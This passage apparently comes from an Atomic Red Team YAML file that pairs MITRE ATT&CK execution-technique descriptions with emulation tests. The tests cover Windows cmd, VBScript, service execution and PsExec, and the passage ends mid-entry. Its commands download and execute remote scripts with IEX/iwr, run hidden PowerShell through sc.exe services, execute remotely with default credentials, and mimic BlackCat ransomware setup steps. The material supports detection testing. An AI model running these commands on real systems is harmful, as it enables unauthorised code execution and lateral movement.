[cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: |- Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62 created: '2020-03-09T14:12:31.196Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/003 external_id: T1059.003 - source_name: SSH in Windows description: 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.' url: https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059.003 atomic_tests: - name: Create and Execute Batch Script auto_generated_guid: 9e8894c0-50bd-4525-a96c-d4ac78ece388 description: 'Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again. ' supported_platforms: - windows input_arguments: command_to_execute: description: Command to execute within script. type: string default: dir script_path: description: Script path. type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1059.003_script.bat dependency_executor_name: powershell dependencies: - description: 'Batch file must exist on disk at specified location (#{script_path}) ' prereq_command: 'if (Test-Path "#{script_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item "#{script_path}" -Force | Out-Null Set-Content -Path "#{script_path}" -Value "#{command_to_execute}" executor: command: 'Start-Process "#{script_path}" ' cleanup_command: 'Remove-Item "#{script_path}" -Force -ErrorAction Ignore ' name: powershell - name: Writes text to a file and displays it. auto_generated_guid: 127b4afe-2346-4192-815c-69042bec570e description: 'Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk. ' supported_platforms: - windows input_arguments: file_contents_path: description: Path to the file that the command prompt will drop. type: path default: "%TEMP%\\test.bin" message: description: Message that will be written to disk and then displayed. type: string default: Hello from the Windows Command Prompt! executor: command: 'echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}" ' cleanup_command: 'del "#{file_contents_path}" >nul 2>&1 ' name: command_prompt - name: Suspicious Execution via Windows Command Shell auto_generated_guid: d0eb3597-a1b3-4d65-b33b-2cda8d397f20 description: 'Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary. ' supported_platforms: - windows input_arguments: output_file: description: File to output to type: string default: hello.txt input_message: description: Message to write to file type: string default: Hello, from CMD! executor: command: "%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\n" name: command_prompt - name: Simulate BlackByte Ransomware Print Bombing auto_generated_guid: 6b2903ac-8f36-450d-9ad5-b220e8a2dcb9 description: "This test attempts to open a file a specified number of times in Wordpad, then prints the contents. \nIt is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. \nSee https://redcanary.com/blog/blackbyte-ransomware/. \n" supported_platforms: - windows input_arguments: file_to_print: description: File to be opened/printed by Wordpad. type: string default: PathToAtomicsFolder\..\ExternalPayloads\T1059_003note.txt max_to_print: description: The maximum number of Wordpad windows the test will open/print. type: integer default: 75 dependency_executor_name: powershell dependencies: - description: 'File to print must exist on disk at specified location (#{file_to_print}) ' prereq_command: 'if (test-path "#{file_to_print}"){exit 0} else {exit 1} ' get_prereq_command: 'new-item "#{file_to_print}" -value "This file has been created by T1059.003 Test 4" -Force | Out-Null ' executor: command: 'cmd /c "for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}" | out-null ' cleanup_command: 'stop-process -name wordpad -force -erroraction silentlycontinue ' name: powershell - name: Command Prompt read contents from CMD file and execute auto_generated_guid: df81db1b-066c-4802-9bc8-b6d030c3ba8e description: "Simulate Raspberry Robin using the \"standard-in\" command prompt feature cmd `/R <` to read and execute a file via cmd.exe\nSee https://redcanary.com/blog/raspberry-robin/. \n" supported_platforms: - windows input_arguments: input_file: description: CMD file that is read by Command Prompt and execute, which launches calc.exe type: path default: PathToAtomicsFolder\T1059.003\src\t1059.003_cmd.cmd dependency_executor_name: powershell dependencies: - description: 'CMD file must exist on disk at specified location (#{input_file}) ' prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd" -OutFile "#{input_file}" executor: command: 'cmd /r cmd<"#{input_file}" ' name: command_prompt elevation_required: false - name: Command prompt writing script to file then executes it auto_generated_guid: '00682c9f-7df4-4df8-950b-6dcaaa3ad9af' description: |2- Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it. The script will execute 'whoami' then exit. supported_platforms: - windows input_arguments: script_path: description: Path in which the script will be written. type: path default: "%TEMP%\\" script_name: description: Script name (without the extension) type: string default: AtomicTest executor: command: ' c:\windows\system32\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject("WScript.Shell"):Set objExec = objShell.Exec("whoami"):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs' cleanup_command: del "#{script_name}.vbs" >nul 2>&1 name: command_prompt elevation_required: true T1651: technique: modified: '2024-04-12T03:27:48.171Z' name: Cloud Administration Command description: |- Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command) If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Cisco - Nichols Jasper - Jared Wilson - Caio Silva - Adrien Bataille - Anders Vejlby - Nader Zaveri - Tamir Yehuda x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - IaaS x_mitre_version: '2.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Script: Script Execution' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7 created: '2023-03-13T15:26:11.741Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1651 external_id: T1651 - source_name: AWS Systems Manager Run Command description: AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023. url: https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html - source_name: MSTIC Nobelium Oct 2021 description: Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022. url: https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/ - source_name: Microsoft Run Command description: Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023. url: https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1059.005: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Command and Scripting Interpreter: Visual Basic' description: |- Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking ) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: |- Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.4' x_mitre_data_sources: - 'Module: Module Load' - 'Command: Command Execution' - 'Process: Process Creation' - 'Script: Script Execution' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67 created: '2020-03-09T14:29:51.508Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/005 external_id: T1059.005 - source_name: VB .NET Mar 2020 description: ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020." url: https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/ - source_name: 'Default VBS macros Blocking ' description: 'Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.' url: https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805 - source_name: Microsoft VBScript description: Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020. url: https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85) - source_name: Microsoft VBA description: Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020. url: https://docs.microsoft.com/office/vba/api/overview/ - source_name: VB Microsoft description: Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020. url: https://docs.microsoft.com/dotnet/visual-basic/ - source_name: Wikipedia VBA description: Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020. url: https://en.wikipedia.org/wiki/Visual_Basic_for_Applications object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059.005 atomic_tests: - name: Visual Basic script execution to gather local computer information auto_generated_guid: 1620de42-160a-4fe5-bbaf-d3fef0181ce9 description: |- Visual Basic execution test, execute vbscript via PowerShell. When successful, system information will be written to $env:TEMP\T1059.005.out.txt. supported_platforms: - windows input_arguments: vbscript: description: Path to sample script type: string default: PathToAtomicsFolder\T1059.005\src\sys_info.vbs dependency_executor_name: powershell dependencies: - description: Sample script must exist on disk at specified location (#{vbscript}) prereq_command: 'if (Test-Path "#{vbscript}") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -ItemType Directory (Split-Path "#{vbscript}") -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs" -OutFile "#{vbscript}" executor: command: 'cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt ' cleanup_command: Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore name: powershell - name: Encoded VBS code execution auto_generated_guid: e8209d5f-e42d-45e6-9c2f-633ac4f1eefa description: | This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution a message box will pop up displaying "ART T1059.005" A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required. You can validate this by opening WinWord -> File -> Account -> About Word supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'The 64-bit version of Microsoft Office must be installed ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" $path = $wdApp.Path Stop-Process -Name "winword" if ($path.contains("(x86)")) { exit 1 } else { exit 0 } } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec" cleanup_command: 'Get-WmiObject win32_process | Where-Object {$_.CommandLine -like "*mshta*"} | % { "$(Stop-Process $_.ProcessID)" } | Out-Null ' name: powershell - name: Extract Memory via VBA auto_generated_guid: 8faff437-a114-4547-9a60-749652a03df6 description: | This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin. supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"\n" cleanup_command: 'Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore ' name: powershell T1648: technique: modified: '2024-03-05T16:13:38.643Z' name: Serverless Execution description: "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Shailesh Tiwary (Indian Army) - Praetorian - Oleg Kolesnikov, Securonix - Cisco - Varonis Threat Labs - Alex Soler, AttackIQ - Vectra AI x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - SaaS - IaaS - Office 365 x_mitre_version: '1.0' x_mitre_data_sources: - 'Cloud Service: Cloud Service Modification' - 'Application Log: Application Log Content' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3 created: '2022-05-27T13:19:51.112Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1648 external_id: T1648 - source_name: Microsoft DART Case Report 001 description: Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022. url: https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team - source_name: Backdooring an AWS account description: Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022. url: https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9 - source_name: Varonis Power Automate Data Exfiltration description: Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022. url: https://www.varonis.com/blog/power-automate-data-exfiltration - source_name: Cado Security Denonia description: 'Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.' url: https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/ - source_name: Rhino Security Labs AWS Privilege Escalation description: Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - source_name: Rhingo Security Labs GCP Privilege Escalation description: Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1204.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9 type: attack-pattern created: '2020-03-11T14:43:31.706Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1204.001 url: https://attack.mitre.org/techniques/T1204/001 modified: '2021-04-29T14:49:39.188Z' name: Malicious Link description: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: |- Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1569.002: technique: modified: '2023-08-14T15:53:00.999Z' name: 'System Services: Service Execution' description: |- Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039). [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution. Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Network Traffic: Network Traffic Flow' - 'Service: Service Creation' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4 created: '2020-03-10T18:33:36.159Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1569/002 external_id: T1569.002 - source_name: Microsoft Service Control Manager description: Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020. url: https://docs.microsoft.com/windows/win32/services/service-control-manager - source_name: Russinovich Sysinternals description: Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015. url: https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1569.002 atomic_tests: - name: Execute a Command as a Service auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1 description: "Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.\n\nUpon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`\n\n[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware) \ \n[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)\n" supported_platforms: - windows input_arguments: service_name: description: Name of service to create type: string default: ARTService executable_command: description: Command to execute as a service type: string default: "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\\art-marker.txt" executor: command: | sc.exe create #{service_name} binPath= "#{executable_command}" sc.exe start #{service_name} sc.exe delete #{service_name} cleanup_command: 'del C:\art-marker.txt >nul 2>&1 ' name: command_prompt elevation_required: true - name: Use PsExec to execute a command on a remote host auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c description: | Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host. Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost). supported_platforms: - windows input_arguments: remote_host: description: Remote hostname or IP address type: string default: localhost user_name: description: Username type: string default: DOMAIN\Administrator password: description: Password type: string default: P@ssw0rd1 dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe" ' name: command_prompt - name: psexec.py (Impacket) auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35 description: 'Will execute a command on the remote host with Impacket psexec.py script. ' supported_platforms: - linux input_arguments: remote_host: description: Remote hostname or IP address type: string default: 127.0.0.1 username: description: Username type: string default: Administrator domain: description: Target domain type: string default: '' password: description: Password type: string default: P@ssw0rd1 command: description: Command to execute in target computer type: string default: whoami dependency_executor_name: bash dependencies: - description: 'psexec.py (Impacket) ' prereq_command: 'if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'sudo pip3 install impacket ' executor: command: 'psexec.py ''#{domain}/#{username}:#{password}@#{remote_host}'' ''#{command}'' ' name: bash - name: BlackCat pre-encryption cmds with Lateral Movement auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b description: This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat supported_platforms: - windows input_arguments: targethost: description: Target hostname to attempt psexec connection to for emulation of lateral movement. type: string default: "$ENV:COMPUTERNAME" dependencies: - description: 'PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1} ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: command: "cmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters \ /v MaxMpxCt /d 65535 /t REG_DWORD /f \ncopy \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe -accepteula \\\\#{targethost} cmd.exe /c echo \"--access-token\"\"\n" cleanup_command: "reg delete HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /f\ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2L:0\" \ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2R:0\"\nrm $env:temp\\psexec.exe\n" name: powershell elevation_required: true - name: Use RemCom to execute a command on a remote host auto_generated_guid: a5d8cdeb-be90-43a9-8b26-cc618deac1e0 description: | Requires having RemCom installed, path to RemCom is one of the input input_arguments Will start a process on a remote host. Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost). supported_platforms: - windows input_arguments: remote_host: description: Remote hostname or IP address 